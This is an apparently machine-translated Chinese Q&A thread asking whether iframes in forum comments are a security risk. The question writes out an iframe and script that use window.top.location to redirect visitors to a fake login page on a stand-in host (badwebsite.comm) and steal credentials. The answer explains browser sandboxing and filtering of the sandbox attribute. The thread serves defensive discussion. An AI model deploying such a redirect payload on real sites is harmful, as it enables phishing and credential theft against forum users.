如果我可以在论坛评论中插入iframe,例如:
<iframe src="http://badwebsite.comm/xss.html"></iframe>
cat xss.html
<html>
<head>
<script>
window.top.location = "http://badwebsite.comm/stolecred.html";
</script>
</head>
</html>
因此,当有人进入此论坛时,它将被重定向到http://badwebsite.comm/stolecred.html/
。
从这一点来说,stolecred.html
可以是原始论坛登录页面的精确副本。
用户提供凭据后,http://badwebsite.comm/stolecred.html
可以将其重定向到原始网站。
问题:
因此在论坛中允许iframe
是一个非常大的安全问题?它不应该以任何方式被允许吗?为什么现代浏览器允许window.top.location
在iframe
中工作?
答案 0 :(得分:0)
no 风险有限(只要浏览器中没有错误)。
如果您运行以下示例,则会在浏览器的JavaScript控制台中收到以下错误消息:
不安全的JavaScript尝试使用网址&#39; Why is "window.top.location" working in iframes?&#39;来启动框架导航。来自带有网址&#39; http://schneidr.de/misc/bad_redirect.html&#39;的框架。尝试导航顶层窗口的框架是沙箱,但是允许顶部导航&#39;标志未设置。
(来自Chrome的错误消息,其他浏览器中的措辞可能有所不同)
<iframe src="http://schneidr.de/misc/bad_redirect.html"></iframe>
&#13;
错误的原因是,浏览器不信任通过来自其他域的框架嵌入的JavaScript。因此,它会自动进行沙盒处理。
要允许在iframe中更改JavaScript,您需要设置sandbox=""
属性,本示例为sandbox="allow-top-navigation"
。因此,如果您在评论中允许使用iframe,则应至少在保存并显示之前过滤此属性。
如果你这样做,从安全的角度来看允许iframe是非常安全的。我个人不会在我管理的网站上允许它,因为我无法控制通过iframe显示的内容,这可能会给我带来法律麻烦。